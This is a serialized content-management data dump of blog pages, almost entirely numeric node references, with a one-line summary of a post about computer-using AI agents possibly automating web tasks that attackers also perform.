],{"data":152447,"content":152448,"nodeType":866},{},[152449,152452,152460],{"data":152450,"marks":152451,"value":131647,"nodeType":865},{},[],{"data":152453,"content":152454,"nodeType":889},{"uri":67859},[152455],{"data":152456,"marks":152457,"value":131656,"nodeType":865},{},[152458,152459],{"type":943},{"type":926},{"data":152461,"marks":152462,"value":131660,"nodeType":865},{},[],{"data":152464,"content":152465,"nodeType":866},{},[152466,152469,152476],{"data":152467,"marks":152468,"value":131667,"nodeType":865},{},[],{"data":152470,"content":152471,"nodeType":889},{"uri":131670},[152472],{"data":152473,"marks":152474,"value":131676,"nodeType":865},{},[152475],{"type":943},{"data":152477,"marks":152478,"value":131680,"nodeType":865},{},[],{"data":152480,"content":152481,"nodeType":866},{},[152482],{"data":152483,"marks":152484,"value":131687,"nodeType":865},{},[],{"data":152486,"content":152487,"nodeType":866},{},[152488,152491,152498],{"data":152489,"marks":152490,"value":131694,"nodeType":865},{},[],{"data":152492,"content":152493,"nodeType":889},{"uri":6698},[152494],{"data":152495,"marks":152496,"value":131702,"nodeType":865},{},[152497],{"type":943},{"data":152499,"marks":152500,"value":131706,"nodeType":865},{},[],{"data":152502,"content":152505,"nodeType":912},{"target":152503},{"sys":152504},{"id":131711,"type":909,"linkType":910},[],{"data":152507,"content":152508,"nodeType":866},{},[152509,152512,152519],{"data":152510,"marks":152511,"value":131719,"nodeType":865},{},[],{"data":152513,"content":152514,"nodeType":889},{"uri":131722},[152515],{"data":152516,"marks":152517,"value":131728,"nodeType":865},{},[152518],{"type":943},{"data":152520,"marks":152521,"value":131732,"nodeType":865},{},[],{"data":152523,"content":152524,"nodeType":972},{},[],{"data":152526,"content":152527,"nodeType":981},{},[152528],{"data":152529,"marks":152530,"value":131742,"nodeType":865},{},[],{"data":152532,"content":152533,"nodeType":1317},{},[152534],{"data":152535,"marks":152536,"value":131568,"nodeType":865},{},[152537],{"type":926},{"data":152539,"content":152540,"nodeType":866},{},[152541],{"data":152542,"marks":152543,"value":131756,"nodeType":865},{},[],{"data":152545,"content":152546,"nodeType":866},{},[152547,152550,152557],{"data":152548,"marks":152549,"value":131763,"nodeType":865},{},[],{"data":152551,"content":152552,"nodeType":889},{"uri":54386},[152553],{"data":152554,"marks":152555,"value":131771,"nodeType":865},{},[152556],{"type":943},{"data":152558,"marks":152559,"value":131775,"nodeType":865},{},[],{"data":152561,"content":152562,"nodeType":866},{},[152563,152566,152573],{"data":152564,"marks":152565,"value":131782,"nodeType":865},{},[],{"data":152567,"content":152568,"nodeType":889},{"uri":131785},[152569],{"data":152570,"marks":152571,"value":8641,"nodeType":865},{},[152572],{"type":943},{"data":152574,"marks":152575,"value":46245,"nodeType":865},{},[],{"data":152577,"content":152578,"nodeType":866},{},[152579],{"data":152580,"marks":152581,"value":131800,"nodeType":865},{},[],{"data":152583,"content":152584,"nodeType":866},{},[152585,152588,152595],{"data":152586,"marks":152587,"value":131807,"nodeType":865},{},[],{"data":152589,"content":152590,"nodeType":889},{"uri":131810},[152591],{"data":152592,"marks":152593,"value":131816,"nodeType":865},{},[152594],{"type":943},{"data":152596,"marks":152597,"value":131820,"nodeType":865},{},[],{"data":152599,"content":152600,"nodeType":866},{},[152601],{"data":152602,"marks":152603,"value":131827,"nodeType":865},{},[],{"data":152605,"content":152606,"nodeType":1317},{},[152607],{"data":152608,"marks":152609,"value":79801,"nodeType":865},{},[152610],{"type":926},{"data":152612,"content":152613,"nodeType":866},{},[152614,152617,152625,152629],{"data":152615,"marks":152616,"value":131841,"nodeType":865},{},[],{"data":152618,"content":152619,"nodeType":889},{"uri":131844},[152620],{"data":152621,"marks":152622,"value":131851,"nodeType":865},{},[152623,152624],{"type":943},{"type":926},{"data":152626,"marks":152627,"value":131856,"nodeType":865},{},[152628],{"type":926},{"data":152630,"marks":152631,"value":14251,"nodeType":865},{},[],{"data":152633,"content":152634,"nodeType":866},{},[152635],{"data":152636,"marks":152637,"value":131866,"nodeType":865},{},[],{"data":152639,"content":152640,"nodeType":866},{},[152641,152644,152651],{"data":152642,"marks":152643,"value":131873,"nodeType":865},{},[],{"data":152645,"content":152646,"nodeType":889},{"uri":131876},[152647],{"data":152648,"marks":152649,"value":4793,"nodeType":865},{},[152650],{"type":943},{"data":152652,"marks":152653,"value":131885,"nodeType":865},{},[],{"data":152655,"content":152656,"nodeType":866},{},[152657,152660,152668],{"data":152658,"marks":152659,"value":131892,"nodeType":865},{},[],{"data":152661,"content":152662,"nodeType":889},{"uri":131895},[152663],{"data":152664,"marks":152665,"value":131902,"nodeType":865},{},[152666,152667],{"type":943},{"type":926},{"data":152669,"marks":152670,"value":131906,"nodeType":865},{},[],{"data":152672,"content":152675,"nodeType":912},{"target":152673},{"sys":152674},{"id":131911,"type":909,"linkType":910},[],{"data":152677,"content":152678,"nodeType":866},{},[152679],{"data":152680,"marks":152681,"value":131919,"nodeType":865},{},[],{"data":152683,"content":152684,"nodeType":866},{},[152685,152688,152695],{"data":152686,"marks":152687,"value":131926,"nodeType":865},{},[],{"data":152689,"content":152690,"nodeType":889},{"uri":110363},[152691],{"data":152692,"marks":152693,"value":131934,"nodeType":865},{},[152694],{"type":943},{"data":152696,"marks":152697,"value":131938,"nodeType":865},{},[],{"data":152699,"content":152700,"nodeType":972},{},[],{"data":152702,"content":152703,"nodeType":981},{},[152704],{"data":152705,"marks":152706,"value":131948,"nodeType":865},{},[],{"data":152708,"content":152709,"nodeType":866},{},[152710,152713,152720],{"data":152711,"marks":152712,"value":131955,"nodeType":865},{},[],{"data":152714,"content":152715,"nodeType":889},{"uri":4147},[152716],{"data":152717,"marks":152718,"value":53721,"nodeType":865},{},[152719],{"type":943},{"data":152721,"marks":152722,"value":1615,"nodeType":865},{},[],{"data":152724,"content":152725,"nodeType":866},{},[152726,152729,152736],{"data":152727,"marks":152728,"value":131972,"nodeType":865},{},[],{"data":152730,"content":152731,"nodeType":889},{"uri":3488},[152732],{"data":152733,"marks":152734,"value":131980,"nodeType":865},{},[152735],{"type":943},{"data":152737,"marks":152738,"value":131984,"nodeType":865},{},[],{"data":152740,"content":152741,"nodeType":866},{},[152742],{"data":152743,"marks":152744,"value":131991,"nodeType":865},{},[],{"data":152746,"content":152747,"nodeType":1616},{},[152748,152757,152766,152775,152784],{"data":152749,"content":152750,"nodeType":1570},{},[152751],{"data":152752,"content":152753,"nodeType":866},{},[152754],{"data":152755,"marks":152756,"value":132004,"nodeType":865},{},[],{"data":152758,"content":152759,"nodeType":1570},{},[152760],{"data":152761,"content":152762,"nodeType":866},{},[152763],{"data":152764,"marks":152765,"value":132014,"nodeType":865},{},[],{"data":152767,"content":152768,"nodeType":1570},{},[152769],{"data":152770,"content":152771,"nodeType":866},{},[152772],{"data":152773,"marks":152774,"value":132024,"nodeType":865},{},[],{"data":152776,"content":152777,"nodeType":1570},{},[152778],{"data":152779,"content":152780,"nodeType":866},{},[152781],{"data":152782,"marks":152783,"value":132034,"nodeType":865},{},[],{"data":152785,"content":152786,"nodeType":1570},{},[152787],{"data":152788,"content":152789,"nodeType":866},{},[152790],{"data":152791,"marks":152792,"value":132044,"nodeType":865},{},[],{"data":152794,"content":152795,"nodeType":866},{},[152796],{"data":152797,"marks":152798,"value":132051,"nodeType":865},{},[],{"data":152800,"content":152801,"nodeType":972},{},[],{"data":152803,"content":152804,"nodeType":981},{},[152805],{"data":152806,"marks":152807,"value":132061,"nodeType":865},{},[],{"data":152809,"content":152810,"nodeType":1317},{},[152811],{"data":152812,"marks":152813,"value":131568,"nodeType":865},{},[152814],{"type":926},{"data":152816,"content":152817,"nodeType":866},{},[152818,152821,152828],{"data":152819,"marks":152820,"value":21,"nodeType":865},{},[],{"data":152822,"content":152823,"nodeType":889},{"uri":132077},[152824],{"data":152825,"marks":152826,"value":132083,"nodeType":865},{},[152827],{"type":943},{"data":152829,"marks":152830,"value":132087,"nodeType":865},{},[],{"data":152832,"content":152833,"nodeType":866},{},[152834,152837,152844],{"data":152835,"marks":152836,"value":132094,"nodeType":865},{},[],{"data":152838,"content":152839,"nodeType":889},{"uri":132097},[152840],{"data":152841,"marks":152842,"value":132103,"nodeType":865},{},[152843],{"type":943},{"data":152845,"marks":152846,"value":132107,"nodeType":865},{},[],{"data":152848,"content":152849,"nodeType":866},{},[152850],{"data":152851,"marks":152852,"value":132114,"nodeType":865},{},[],{"data":152854,"content":152855,"nodeType":1317},{},[152856],{"data":152857,"marks":152858,"value":79801,"nodeType":865},{},[152859],{"type":926},{"data":152861,"content":152862,"nodeType":866},{},[152863],{"data":152864,"marks":152865,"value":132128,"nodeType":865},{},[],{"data":152867,"content":152868,"nodeType":866},{},[152869,152872,152880],{"data":152870,"marks":152871,"value":62364,"nodeType":865},{},[],{"data":152873,"content":152874,"nodeType":889},{"uri":62386},[152875],{"data":152876,"marks":152877,"value":132143,"nodeType":865},{},[152878,152879],{"type":943},{"type":926},{"data":152881,"marks":152882,"value":132147,"nodeType":865},{},[],{"data":152884,"content":152885,"nodeType":866},{},[152886],{"data":152887,"marks":152888,"value":132154,"nodeType":865},{},[],{"data":152890,"content":152891,"nodeType":866},{},[152892],{"data":152893,"marks":152894,"value":132161,"nodeType":865},{},[],{"data":152896,"content":152899,"nodeType":912},{"target":152897},{"sys":152898},{"id":123928,"type":909,"linkType":910},[],{"data":152901,"content":152904,"nodeType":912},{"target":152902},{"sys":152903},{"id":132171,"type":909,"linkType":910},[],{"data":152906,"content":152907,"nodeType":972},{},[],{"data":152909,"content":152910,"nodeType":981},{},[152911],{"data":152912,"marks":152913,"value":132182,"nodeType":865},{},[],{"data":152915,"content":152916,"nodeType":1317},{},[152917],{"data":152918,"marks":152919,"value":131568,"nodeType":865},{},[152920],{"type":926},{"data":152922,"content":152923,"nodeType":866},{},[152924],{"data":152925,"marks":152926,"value":132196,"nodeType":865},{},[],{"data":152928,"content":152929,"nodeType":866},{},[152930,152933,152940],{"data":152931,"marks":152932,"value":132203,"nodeType":865},{},[],{"data":152934,"content":152935,"nodeType":889},{"uri":132206},[152936],{"data":152937,"marks":152938,"value":132212,"nodeType":865},{},[152939],{"type":943},{"data":152941,"marks":152942,"value":132216,"nodeType":865},{},[],{"data":152944,"content":152945,"nodeType":7584},{},[152946],{"data":152947,"content":152948,"nodeType":866},{},[152949],{"data":152950,"marks":152951,"value":132226,"nodeType":865},{},[],{"data":152953,"content":152954,"nodeType":866},{},[152955,152958,152965],{"data":152956,"marks":152957,"value":132233,"nodeType":865},{},[],{"data":152959,"content":152960,"nodeType":889},{"uri":132077},[152961],{"data":152962,"marks":152963,"value":132241,"nodeType":865},{},[152964],{"type":943},{"data":152966,"marks":152967,"value":132245,"nodeType":865},{},[],{"data":152969,"content":152970,"nodeType":866},{},[152971],{"data":152972,"marks":152973,"value":132252,"nodeType":865},{},[],{"data":152975,"content":152976,"nodeType":866},{},[152977],{"data":152978,"marks":152979,"value":132259,"nodeType":865},{},[],{"data":152981,"content":152982,"nodeType":7584},{},[152983],{"data":152984,"content":152985,"nodeType":866},{},[152986],{"data":152987,"marks":152988,"value":132269,"nodeType":865},{},[],{"data":152990,"content":152991,"nodeType":1317},{},[152992],{"data":152993,"marks":152994,"value":79801,"nodeType":865},{},[152995],{"type":926},{"data":152997,"content":152998,"nodeType":866},{},[152999],{"data":153000,"marks":153001,"value":132283,"nodeType":865},{},[],{"data":153003,"content":153004,"nodeType":866},{},[153005,153008,153016],{"data":153006,"marks":153007,"value":132290,"nodeType":865},{},[],{"data":153009,"content":153010,"nodeType":889},{"uri":13526},[153011],{"data":153012,"marks":153013,"value":132299,"nodeType":865},{},[153014,153015],{"type":943},{"type":926},{"data":153017,"marks":153018,"value":132303,"nodeType":865},{},[],{"data":153020,"content":153023,"nodeType":912},{"target":153021},{"sys":153022},{"id":132308,"type":909,"linkType":910},[],{"data":153025,"content":153026,"nodeType":972},{},[],{"data":153028,"content":153029,"nodeType":981},{},[153030],{"data":153031,"marks":153032,"value":132319,"nodeType":865},{},[],{"data":153034,"content":153035,"nodeType":866},{},[153036],{"data":153037,"marks":153038,"value":132326,"nodeType":865},{},[],{"data":153040,"content":153041,"nodeType":866},{},[153042],{"data":153043,"marks":153044,"value":132333,"nodeType":865},{},[],{"data":153046,"content":153047,"nodeType":1616},{},[153048,153064,153080],{"data":153049,"content":153050,"nodeType":1570},{},[153051],{"data":153052,"content":153053,"nodeType":866},{},[153054,153057,153061],{"data":153055,"marks":153056,"value":132346,"nodeType":865},{},[],{"data":153058,"marks":153059,"value":132351,"nodeType":865},{},[153060],{"type":926},{"data":153062,"marks":153063,"value":132355,"nodeType":865},{},[],{"data":153065,"content":153066,"nodeType":1570},{},[153067],{"data":153068,"content":153069,"nodeType":866},{},[153070,153073,153077],{"data":153071,"marks":153072,"value":132365,"nodeType":865},{},[],{"data":153074,"marks":153075,"value":132370,"nodeType":865},{},[153076],{"type":926},{"data":153078,"marks":153079,"value":132374,"nodeType":865},{},[],{"data":153081,"content":153082,"nodeType":1570},{},[153083],{"data":153084,"content":153085,"nodeType":866},{},[153086,153089,153093,153096,153103],{"data":153087,"marks":153088,"value":132384,"nodeType":865},{},[],{"data":153090,"marks":153091,"value":132389,"nodeType":865},{},[153092],{"type":926},{"data":153094,"marks":153095,"value":132393,"nodeType":865},{},[],{"data":153097,"content":153098,"nodeType":889},{"uri":6710},[153099],{"data":153100,"marks":153101,"value":6715,"nodeType":865},{},[153102],{"type":943},{"data":153104,"marks":153105,"value":132404,"nodeType":865},{},[],{"data":153107,"content":153108,"nodeType":866},{},[153109],{"data":153110,"marks":153111,"value":132411,"nodeType":865},{},[],{"data":153113,"content":153114,"nodeType":866},{},[153115],{"data":153116,"marks":153117,"value":132418,"nodeType":865},{},[],{"data":153119,"content":153120,"nodeType":866},{},[153121],{"data":153122,"marks":153123,"value":132425,"nodeType":865},{},[],{"data":153125,"content":153126,"nodeType":1317},{},[153127],{"data":153128,"marks":153129,"value":132433,"nodeType":865},{},[153130],{"type":926},{"data":153132,"content":153133,"nodeType":866},{},[153134,153137,153145],{"data":153135,"marks":153136,"value":132440,"nodeType":865},{},[],{"data":153138,"content":153139,"nodeType":889},{"uri":132443},[153140],{"data":153141,"marks":153142,"value":132450,"nodeType":865},{},[153143,153144],{"type":943},{"type":926},{"data":153146,"marks":153147,"value":132454,"nodeType":865},{},[],{"data":153149,"content":153150,"nodeType":866},{},[153151],{"data":153152,"marks":153153,"value":132461,"nodeType":865},{},[],{"data":153155,"content":153158,"nodeType":912},{"target":153156},{"sys":153157},{"id":132466,"type":909,"linkType":910},[],{"data":153160,"content":153161,"nodeType":1317},{},[153162,153166],{"data":153163,"marks":153164,"value":132475,"nodeType":865},{},[153165],{"type":926},{"data":153167,"marks":153168,"value":2688,"nodeType":865},{},[],{"data":153170,"content":153171,"nodeType":866},{},[153172,153175,153183],{"data":153173,"marks":153174,"value":132485,"nodeType":865},{},[],{"data":153176,"content":153177,"nodeType":889},{"uri":132488},[153178],{"data":153179,"marks":153180,"value":132495,"nodeType":865},{},[153181,153182],{"type":943},{"type":926},{"data":153184,"marks":153185,"value":132499,"nodeType":865},{},[],{"data":153187,"content":153188,"nodeType":866},{},[153189],{"data":153190,"marks":153191,"value":132506,"nodeType":865},{},[],{"data":153193,"content":153194,"nodeType":1317},{},[153195],{"data":153196,"marks":153197,"value":132514,"nodeType":865},{},[153198],{"type":926},{"data":153200,"content":153201,"nodeType":866},{},[153202,153205,153213],{"data":153203,"marks":153204,"value":132521,"nodeType":865},{},[],{"data":153206,"content":153207,"nodeType":889},{"uri":132524},[153208],{"data":153209,"marks":153210,"value":58363,"nodeType":865},{},[153211,153212],{"type":943},{"type":926},{"data":153214,"marks":153215,"value":132534,"nodeType":865},{},[],{"data":153217,"content":153218,"nodeType":866},{},[153219],{"data":153220,"marks":153221,"value":132541,"nodeType":865},{},[],{"data":153223,"content":153224,"nodeType":866},{},[153225],{"data":153226,"marks":153227,"value":132548,"nodeType":865},{},[],{"data":153229,"content":153232,"nodeType":912},{"target":153230},{"sys":153231},{"id":132553,"type":909,"linkType":910},[],{"data":153234,"content":153235,"nodeType":972},{},[],{"data":153237,"content":153238,"nodeType":981},{},[153239],{"data":153240,"marks":153241,"value":132564,"nodeType":865},{},[],{"data":153243,"content":153244,"nodeType":866},{},[153245,153248,153254],{"data":153246,"marks":153247,"value":132571,"nodeType":865},{},[],{"data":153249,"content":153250,"nodeType":889},{"uri":16069},[153251],{"data":153252,"marks":153253,"value":132578,"nodeType":865},{},[],{"data":153255,"marks":153256,"value":132582,"nodeType":865},{},[],{"items":153258},[153259,153261],{"sys":153260,"name":342},{"id":4642},{"sys":153262,"name":297},{"id":2310},{"items":153264},[153265],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":153266},{"url":6503},"blog/considering-the-impact-of-computer-using-agents",{"json":153269},{"data":153270,"content":153271,"nodeType":1382},{},[153272],{"data":153273,"content":153274,"nodeType":866},{},[153275],{"data":153276,"marks":153277,"value":153278,"nodeType":865},{},[],"Computer-Using Agents (CUAs) are a new type of AI agent that drives your browser/OS for you. These tools (or future iterations of them) will enable low-cost, low-effort automation of common web tasks — including those frequently performed by attackers.",{"id":145409,"publishedAt":153280},"2026-08-12T11:54:30.875Z",{"items":153282},[153283,153285],{"sys":153284,"name":7796},{"id":7795},{"sys":153286,"name":297},{"id":2310},{"items":153288},[153289,153291,153293,153295,153297,153299,153301,153303,153305,153307,153309,153311,153313,153315,153317,153319,153321],{"sys":153290,"name":279,"slug":280,"tier":31},{"id":276},{"sys":153292,"name":235,"slug":236,"tier":31},{"id":232},{"sys":153294,"name":413,"slug":414,"tier":31},{"id":410},{"sys":153296,"name":545,"slug":546,"tier":31},{"id":542},{"sys":153298,"name":642,"slug":643,"tier":31},{"id":639},{"sys":153300,"name":297,"slug":298,"tier":31},{"id":294},{"sys":153302,"name":519,"slug":520,"tier":31},{"id":516},{"sys":153304,"name":244,"slug":245,"tier":45},{"id":241},{"sys":153306,"name":404,"slug":405,"tier":45},{"id":401},{"sys":153308,"name":333,"slug":334,"tier":45},{"id":330},{"sys":153310,"name":324,"slug":325,"tier":45},{"id":321},{"sys":153312,"name":475,"slug":476,"tier":45},{"id":472},{"sys":153314,"name":607,"slug":608,"tier":45},{"id":604},{"sys":153316,"name":571,"slug":572,"tier":45},{"id":568},{"sys":153318,"name":422,"slug":423,"tier":45},{"id":419},{"sys":153320,"name":502,"slug":503,"tier":45},{"id":499},{"sys":153322,"name":288,"slug":289,"tier":45},{"id":285},"BXC9egMG__WJ8DlAdMBbENBH-pmptSUJ4ZypBxm0Dzs",{"id":153325,"title":132583,"authorsCollection":153326,"content":153330,"extension":228,"faqItemsCollection":154403,"faqTitle":59,"featured":6,"hashTags":59,"meta":154405,"metaTitle":154406,"ogImage":59,"postType":87741,"publishedDate":132585,"relatedBlogPostsCollection":154407,"slug":132586,"stem":157117,"subtitle":59,"summary":157118,"synopsis":132584,"sys":157129,"tagsCollection":157131,"topicsCollection":157137,"__hash__":157177},"blog/blog/push-features-2024.json",{"items":153327},[153328],{"fullName":6500,"firstName":6501,"jobTitle":4616,"socialLinks":59,"profilePicture":153329},{"url":6503},{"json":153331,"links":154333},{"data":153332,"content":153333,"nodeType":1382},{},[153334,153340,153387,153393,153396,153402,153408,153434,153444,153447,153453,153463,153469,153485,153490,153506,153512,153522,153539,153555,153561,153577,153582,153598,153601,153607,153614,153620,153636,153652,153658,153674,153680,153687,153708,153714,153730,153747,153752,153758,153774,153777,153783,153799,153815,153821,153869,153875,153878,153884,153891,153907,153923,153929,153936,153942,153959,153965,153971,153976,153981,153984,153990,153997,154003,154019,154028,154044,154050,154056,154065,154072,154078,154095,154100,154103,154109,154115,154121,154182,154188,154194,154200,154207,154224,154230,154235,154245,154262,154268,154275,154292,154298,154304,154309,154312,154318],{"data":153335,"content":153336,"nodeType":866},{},[153337],{"data":153338,"marks":153339,"value":131426,"nodeType":865},{},[],{"data":153341,"content":153342,"nodeType":1616},{},[153343,153359,153368],{"data":153344,"content":153345,"nodeType":1570},{},[153346],{"data":153347,"content":153348,"nodeType":866},{},[153349,153352,153356],{"data":153350,"marks":153351,"value":131439,"nodeType":865},{},[],{"data":153353,"marks":153354,"value":131444,"nodeType":865},{},[153355],{"type":898},{"data":153357,"marks":153358,"value":131448,"nodeType":865},{},[],{"data":153360,"content":153361,"nodeType":1570},{},[153362],{"data":153363,"content":153364,"nodeType":866},{},[153365],{"data":153366,"marks":153367,"value":131458,"nodeType":865},{},[],{"data":153369,"content":153370,"nodeType":1570},{},[153371],{"data":153372,"content":153373,"nodeType":866},{},[153374,153377,153384],{"data":153375,"marks":153376,"value":131468,"nodeType":865},{},[],{"data":153378,"content":153379,"nodeType":889},{"uri":131471},[153380],{"data":153381,"marks":153382,"value":131477,"nodeType":865},{},[153383],{"type":943},{"data":153385,"marks":153386,"value":131481,"nodeType":865},{},[],{"data":153388,"content":153389,"nodeType":866},{},[153390],{"data":153391,"marks":153392,"value":131488,"nodeType":865},{},[],{"data":153394,"content":153395,"nodeType":972},{},[],{"data":153397,"content":153398,"nodeType":981},{},[153399],{"data":153400,"marks":153401,"value":131498,"nodeType":865},{},[],{"data":153403,"content":153404,"nodeType":866},{},[153405],{"data":153406,"marks":153407,"value":131505,"nodeType":865},{},[],{"data":153409,"content":153410,"nodeType":866},{},[153411,153414,153421,153424,153431],{"data":153412,"marks":153413,"value":131512,"nodeType":865},{},[],{"data":153415,"content":153416,"nodeType":889},{"uri":131515},[153417],{"data":153418,"marks":153419,"value":131521,"nodeType":865},{},[153420],{"type":943},{"data":153422,"marks":153423,"value":131525,"nodeType":865},{},[],{"data":153425,"content":153426,"nodeType":889},{"uri":131528},[153427],{"data":153428,"marks":153429,"value":131534,"nodeType":865},{},[153430],{"type":943},{"data":153432,"marks":153433,"value":131538,"nodeType":865},{},[],{"data":153435,"content":153436,"nodeType":866},{},[153437,153440],{"data":153438,"marks":153439,"value":131545,"nodeType":865},{},[],{"data":153441,"marks":153442,"value":131550,"nodeType":865},{},[153443],{"type":926},{"data":153445,"content":153446,"nodeType":972},{},[],{"data":153448,"content":153449,"nodeType":981},{},[153450],{"data":153451,"marks":153452,"value":131560,"nodeType":865},{},[],{"data":153454,"content":153455,"nodeType":1317},{},[153456,153460],{"data":153457,"marks":153458,"value":131568,"nodeType":865},{},[153459],{"type":926},{"data":153461,"marks":153462,"value":2688,"nodeType":865},{},[],{"data":153464,"content":153465,"nodeType":866},{},[153466],{"data":153467,"marks":153468,"value":131578,"nodeType":865},{},[],{"data":153470,"content":153471,"nodeType":866},{},[153472,153475,153482],{"data":153473,"marks":153474,"value":131585,"nodeType":865},{},[],{"data":153476,"content":153477,"nodeType":889},{"uri":82201},[153478],{"data":153479,"marks":153480,"value":131593,"nodeType":865},{},[153481],{"type":943},{"data":153483,"marks":153484,"value":131597,"nodeType":865},{},[],{"data":153486,"content":153489,"nodeType":912},{"target":153487},{"sys":153488},{"id":131602,"type":909,"linkType":910},[],{"data":153491,"content":153492,"nodeType":866},{},[153493,153496,153503],{"data":153494,"marks":153495,"value":131610,"nodeType":865},{},[],{"data":153497,"content":153498,"nodeType":889},{"uri":131613},[153499],{"data":153500,"marks":153501,"value":131619,"nodeType":865},{},[153502],{"type":943},{"data":153504,"marks":153505,"value":131623,"nodeType":865},{},[],{"data":153507,"content":153508,"nodeType":866},{},[153509],{"data":153510,"marks":153511,"value":131630,"nodeType":865},{},[],{"data":153513,"content":153514,"nodeType":1317},{},[153515,153519],{"data":153516,"marks":153517,"value":79801,"nodeType":865},{},[153518],{"type":926},{"data":153520,"marks":153521,"value":2688,"nodeType":865},{},[],{"data":153523,"content":153524,"nodeType":866},{},[153525,153528,153536],{"data":153526,"marks":153527,"value":131647,"nodeType":865},{},[],{"data":153529,"content":153530,"nodeType":889},{"uri":67859},[153531],{"data":153532,"marks":153533,"value":131656,"nodeType":865},{},[153534,153535],{"type":943},{"type":926},{"data":153537,"marks":153538,"value":131660,"nodeType":865},{},[],{"data":153540,"content":153541,"nodeType":866},{},[153542,153545,153552],{"data":153543,"marks":153544,"value":131667,"nodeType":865},{},[],{"data":153546,"content":153547,"nodeType":889},{"uri":131670},[153548],{"data":153549,"marks":153550,"value":131676,"nodeType":865},{},[153551],{"type":943},{"data":153553,"marks":153554,"value":131680,"nodeType":865},{},[],{"data":153556,"content":153557,"nodeType":866},{},[153558],{"data":153559,"marks":153560,"value":131687,"nodeType":865},{},[],{"data":153562,"content":153563,"nodeType":866},{},[153564,153567,153574],{"data":153565,"marks":153566,"value":131694,"nodeType":865},{},[],{"data":153568,"content":153569,"nodeType":889},{"uri":6698},[153570],{"data":153571,"marks":153572,"value":131702,"nodeType":865},{},[153573],{"type":943},{"data":153575,"marks":153576,"value":131706,"nodeType":865},{},[],{"data":153578,"content":153581,"nodeType":912},{"target":153579},{"sys":153580},{"id":131711,"type":909,"linkType":910},[],{"data":153583,"content":153584,"nodeType":866},{},[153585,153588,153595],{"data":153586,"marks":153587,"value":131719,"nodeType":865},{},[],{"data":153589,"content":153590,"nodeType":889},{"uri":131722},[153591],{"data":153592,"marks":153593,"value":131728,"nodeType":865},{},[153594],{"type":943},{"data":153596,"marks":153597,"value":131732,"nodeType":865},{},[],{"data":153599,"content":153600,"nodeType":972},{},[],{"data":153602,"content":153603,"nodeType":981},{},[153604],{"data":153605,"marks":153606,"value":131742,"nodeType":865},{},[],{"data":153608,"content":153609,"nodeType":1317},{},[153610],{"data":153611,"marks":153612,"value":131568,"nodeType":865},{},[153613],{"type":926},{"data":153615,"content":153616,"nodeType":866},{},[153617],{"data":153618,"marks":153619,"value":131756,"nodeType":865},{},[],{"data":153621,"content":153622,"nodeType":866},{},[153623,153626,153633],{"data":153624,"marks":153625,"value":131763,"nodeType":865},{},[],{"data":153627,"content":153628,"nodeType":889},{"uri":54386},[153629],{"data":153630,"marks":153631,"value":131771,"nodeType":865},{},[153632],{"type":943},{"data":153634,"marks":153635,"value":131775,"nodeType":865},{},[],{"data":153637,"content":153638,"nodeType":866},{},[153639,153642,153649],{"data":153640,"marks":153641,"value":131782,"nodeType":865},{},[],{"data":153643,"content":153644,"nodeType":889},{"uri":131785},[153645],{"data":153646,"marks":153647,"value":8641,"nodeType":865},{},[153648],{"type":943},{"data":153650,"marks":153651,"value":46245,"nodeType":865},{},[],{"data":153653,"content":153654,"nodeType":866},{},[153655],{"data":153656,"marks":153657,"value":131800,"nodeType":865},{},[],{"data":153659,"content":153660,"nodeType":866},{},[153661,153664,153671],{"data":153662,"marks":153663,"value":131807,"nodeType":865},{},[],{"data":153665,"content":153666,"nodeType":889},{"uri":131810},[153667],{"data":153668,"marks":153669,"value":131816,"nodeType":865},{},[153670],{"type":943},{"data":153672,"marks":153673,"value":131820,"nodeType":865},{},[],{"data":153675,"content":153676,"nodeType":866},{},[153677],{"data":153678,"marks":153679,"value":131827,"nodeType":865},{},[],{"data":153681,"content":153682,"nodeType":1317},{},[153683],{"data":153684,"marks":153685,"value":79801,"nodeType":865},{},[153686],{"type":926},{"data":153688,"content":153689,"nodeType":866},{},[153690,153693,153701,153705],{"data":153691,"marks":153692,"value":131841,"nodeType":865},{},[],{"data":153694,"content":153695,"nodeType":889},{"uri":131844},[153696],{"data":153697,"marks":153698,"value":131851,"nodeType":865},{},[153699,153700],{"type":943},{"type":926},{"data":153702,"marks":153703,"value":131856,"nodeType":865},{},[153704],{"type":926},{"data":153706,"marks":153707,"value":14251,"nodeType":865},{},[],{"data":153709,"content":153710,"nodeType":866},{},[153711],{"data":153712,"marks":153713,"value":131866,"nodeType":865},{},[],{"data":153715,"content":153716,"nodeType":866},{},[153717,153720,153727],{"data":153718,"marks":153719,"value":131873,"nodeType":865},{},[],{"data":153721,"content":153722,"nodeType":889},{"uri":131876},[153723],{"data":153724,"marks":153725,"value":4793,"nodeType":865},{},[153726],{"type":943},{"data":153728,"marks":153729,"value":131885,"nodeType":865},{},[],{"data":153731,"content":153732,"nodeType":866},{},[153733,153736,153744],{"data":153734,"marks":153735,"value":131892,"nodeType":865},{},[],{"data":153737,"content":153738,"nodeType":889},{"uri":131895},[153739],{"data":153740,"marks":153741,"value":131902,"nodeType":865},{},[153742,153743],{"type":943},{"type":926},{"data":153745,"marks":153746,"value":131906,"nodeType":865},{},[],{"data":153748,"content":153751,"nodeType":912},{"target":153749},{"sys":153750},{"id":131911,"type":909,"linkType":910},[],{"data":153753,"content":153754,"nodeType":866},{},[153755],{"data":153756,"marks":153757,"value":131919,"nodeType":865},{},[],{"data":153759,"content":153760,"nodeType":866},{},[153761,153764,153771],{"data":153762,"marks":153763,"value":131926,"nodeType":865},{},[],{"data":153765,"content":153766,"nodeType":889},{"uri":110363},[153767],{"data":153768,"marks":153769,"value":131934,"nodeType":865},{},[153770],{"type":943},{"data":153772,"marks":153773,"value":131938,"nodeType":865},{},[],{"data":153775,"content":153776,"nodeType":972},{},[],{"data":153778,"content":153779,"nodeType":981},{},[153780],{"data":153781,"marks":153782,"value":131948,"nodeType":865},{},[],{"data":153784,"content":153785,"nodeType":866},{},[153786,153789,153796],{"data":153787,"marks":153788,"value":131955,"nodeType":865},{},[],{"data":153790,"content":153791,"nodeType":889},{"uri":4147},[153792],{"data":153793,"marks":153794,"value":53721,"nodeType":865},{},[153795],{"type":943},{"data":153797,"marks":153798,"value":1615,"nodeType":865},{},[],{"data":153800,"content":153801,"nodeType":866},{},[153802,153805,153812],{"data":153803,"marks":153804,"value":131972,"nodeType":865},{},[],{"data":153806,"content":153807,"nodeType":889},{"uri":3488},[153808],{"data":153809,"marks":153810,"value":131980,"nodeType":865},{},[153811],{"type":943},{"data":153813,"marks":153814,"value":131984,"nodeType":865},{},[],{"data":153816,"content":153817,"nodeType":866},{},[153818],{"data":153819,"marks":15382